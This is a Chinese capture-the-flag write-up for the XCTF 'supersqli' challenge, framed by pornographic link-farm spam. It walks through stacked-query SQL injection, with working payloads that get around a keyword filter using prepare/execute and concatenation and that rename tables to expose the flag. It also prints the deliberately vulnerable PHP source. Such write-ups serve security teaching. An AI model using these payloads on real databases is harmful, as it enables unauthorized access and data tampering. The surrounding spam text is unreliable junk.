日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

XCTF-Web-高手区-supersqli

發布時間:2023/12/31 编程问答 32 豆豆
生活随笔 收集整理的這篇文章主要介紹了 XCTF-Web-高手区-supersqli 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

題目

解題

1、使用常規的SQL注入操作進行注入,我們測試一下單引號


根據返回顯示,我們可以判斷目標源碼中的SQL語句是字符型的,使用單引號閉合
我們本地使用mysql測試如下

2、使用#、--進行測試



發現報錯,直接試試編碼,將#或--替換為%23或--+

3、接下來使用order by判斷字段數



可以發現,存在兩個字段數

4、使用union select判斷哪個位置的字段可以進行注入


發現存在過濾,將我的語句過濾了

5、使用堆疊注入

(1)查看所有數據庫名

(2)查看所有表名

(3)查看1919810931114514和words表中的字段

http://111.200.241.244:58599/?inject=1';show columns from `1919810931114514`;%23

注:若字符串為表名,在進行sql語句查詢時要加反引號,這里words可以不加反引號

http://111.200.241.244:58599/?inject=1';show columns from `words`;%23

(4)查詢flag字段的值,但無法使用select

那我們這里有兩種方法進行繞過

0x01:使用預編譯來進行繞過

預編譯語法: set #用于設置變量名和值 prepare #用于預備一個語句,并賦予名稱,后面可以引用該語句 execute #執行語句 deallocate prepare #用于釋放預處理的語句 1';set @xx=concat('se','lect * from `1919810931114514`;');prepare oo from @xx;execute oo;%23拆分開來如下 1';#第一個語句 set @xx=concat('se','lect * from `1919810931114514`;');#設置一個變量xx,其值為想要執行的sql語句,這里使用拼接來繞過對select的過濾 prepare oo from @xx;#設置一個預備語句,也就是xx變量中的語句,并賦予其名稱為oo execute oo;#執行預備語句oo #

執行后出現下圖所示

這里顯示,又被strstr過濾了,但strstr不區分大小寫,所以我們可以使用大寫對其函數進行繞過

http://111.200.241.244:58599/?inject=1';Set @xx=concat('se','lect * from `1919810931114514`;');Prepare oo from @xx;execute oo%23

0x02:修改表與字段

由第三步查看words表中字段時,發現了其中有id和data字段,而我們輸入框中輸入的1時顯示出來的內容和這個正好匹配,所以words這個表中時顯示內容的,因此,我們可以將表1919810931114514的名字改為words,flag字段(也就是列)的名字改為id,那么就能得到flag的內容了

預備知識:

修改表名和列名的語法:(1)修改表名(將表名xx改為oo) alter table xx rename to oo;(2)修改列名(將字段名mm改為nn) alter table oo change mm nn varchar(50);

payload:

1';alter table words rename to xx;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);%23 ##分析 1'; #第一條sql語句 alter table words rename to xx;#將words的表名修改為xx alter table `1919810931114514` rename to words;#將1919810931114514的表名修改為words alter table words change flag id varchar(50);#將words中flag的字段名修改為id %23#注釋符##注:由此看出,相當于將1919810931114514表直接改為words表,但他的字段名還是1919810931114514表中的,所以需要將flag修改為id,這樣就可以直接訪問了

最終結果

http://111.200.241.244:58599/?inject=1' or 1=1%23


注:我們使用sql-labs本地試驗一下,更好地理解

select * from `users` where id = '1';alter table users rename to xx;alter table `emails` rename to users;alter table users change email_id id varchar(50);#;



這是可以看到,users表已經完全不一樣的了,or 1=1也是輸出表中的全部內容

這道題的源碼如下:

有下面的源碼也可以更加容易理解第二種繞過select的方法,還有為什么使用1’ or 1=1#
我們把關鍵sql語句拉出來看

select * from `words` where id = '$id'; payload拼接之后就是 select * from `words` where id = '1' or 1=1#; //這條語句不管words中有多少字段和值,都會顯示出來,我們可以本地在sqli-labs-less-1中測試,如下圖,這也就是我們將flag字段名改為id后可以顯示flag的原因

<html><head><meta charset="UTF-8"><title>easy_sql</title> </head><body> <h1>取材于某次真實環境滲透,只說一句話:開發和安全缺一不可</h1> <!-- sqlmap是沒有靈魂的 --> <form method="get">姿勢: <input type="text" name="inject" value="1"><input type="submit"> </form><pre> <?php function waf1($inject) {preg_match("/select|update|delete|drop|insert|where|\./i",$inject) && die('return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);'); } function waf2($inject) {strstr($inject, "set") && strstr($inject, "prepare") && die('strstr($inject, "set") && strstr($inject, "prepare")'); } if(isset($_GET['inject'])) {$id = $_GET['inject'];waf1($id);waf2($id);$mysqli = new mysqli("127.0.0.1","root","root","supersqli");//多條sql語句$sql = "select * from `words` where id = '$id';";$res = $mysqli->multi_query($sql);if ($res){//使用multi_query()執行一條或多條sql語句do{if ($rs = $mysqli->store_result()){//store_result()方法獲取第一條sql語句查詢結果while ($row = $rs->fetch_row()){var_dump($row);echo "<br>";}$rs->Close(); //關閉結果集if ($mysqli->more_results()){ //判斷是否還有更多結果集echo "<hr>";}}}while($mysqli->next_result()); //next_result()方法獲取下一結果集,返回bool值} else {echo "error ".$mysqli->errno." : ".$mysqli->error;}$mysqli->close(); //關閉數據庫連接 } ?> </pre></body></html>

總結

以上是生活随笔為你收集整理的XCTF-Web-高手区-supersqli的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。

主站蜘蛛池模板: 男女一进一出视频 | 久久色资源网 | 日本激情在线 | 国产精品va无码一区二区三区 | 中文字幕淫| 欧美操穴 | 天天看片天天爽 | 91字幕网| 尤物视频一区 | 影音先锋黄色网址 | 在线观看国产三级 | 波多野结衣一区二区三区中文字幕 | 国产黄色录像片 | bangbros性欧美18 | 伦理片久久 | 麻豆精品国产 | 麻豆国产91在线播放 | 美人被强行糟蹋np各种play | 少妇精品久久久久久久久久 | 国产一区二区三区福利 | 国产精品色综合 | 亚洲精品高潮久久久久久久 | 在线播放小视频 | 成人亚洲欧美 | 91午夜理伦私人影院 | 天堂在线观看中文字幕 | 黄黄的视频在线观看 | 亚洲精品无码久久久久久久 | 不卡黄色 | 日韩成人影视 | 免费日韩视频 | 女人被男人操 | 激情久久久久久久 | 国产毛片欧美毛片久久久 | 日韩欧美99 | 91麻豆国产福利精品 | 九九色播 | www.欧美在线观看 | 免费在线黄色网址 | 欧美精品videos极品 | 久色在线| 全黄一级裸片视频 | 骚虎av在线 | 黄片毛片在线观看 | 三级小视频在线观看 | 91精品综合久久久久久五月天 | 99爱在线观看 | 欧美日韩人妻精品一区二区三区 | 天天色av| 国产欧美日韩精品在线观看 | 在线不卡日本 | 欧美50p | 51成人网 | 成人欧美一区二区三区小说 | heyzo亚洲| 午夜影院在线播放 | 亚洲一区电影 | 国产一级大片 | 亚洲午夜激情 | 久久一区 | 国产精品午夜一区二区 | 免费一级一片 | h无码动漫在线观看 | 日本va欧美va国产激情 | 69av网| 叶山小百合av一区二区 | 无码人妻丰满熟妇区毛片18 | 污污视频在线免费观看 | 日批在线观看 | 国产午夜视频在线 | 国产在线播放一区 | 日韩欧美一区二区三区四区五区 | 女人被狂躁60分钟视频 | 91精产品一区观看 | 日韩成人一区二区三区 | av站| 国产一区二区三区精品愉拍 | 蜜桃成人无码区免费视频网站 | 男女深夜福利 | 国产精品久久av无码一区二区 | 神马福利视频 | 在办公室被c到呻吟的动态图 | 日本黄色大片视频 | 男人疯狂高潮呻吟视频 | 激情综合婷婷 | 蜜臀久久| 在线免费观看a视频 | 午夜在线精品 | 亚洲欧洲免费无码 | 西西午夜 | 色99在线| 黄页在线播放 | 老色鬼av| 日本婷婷| 可以直接看的毛片 | 在线看成人av | 少妇闺蜜换浪荡h肉辣文 | 成人免费xxxxx在线视频 | 久久久成人网 |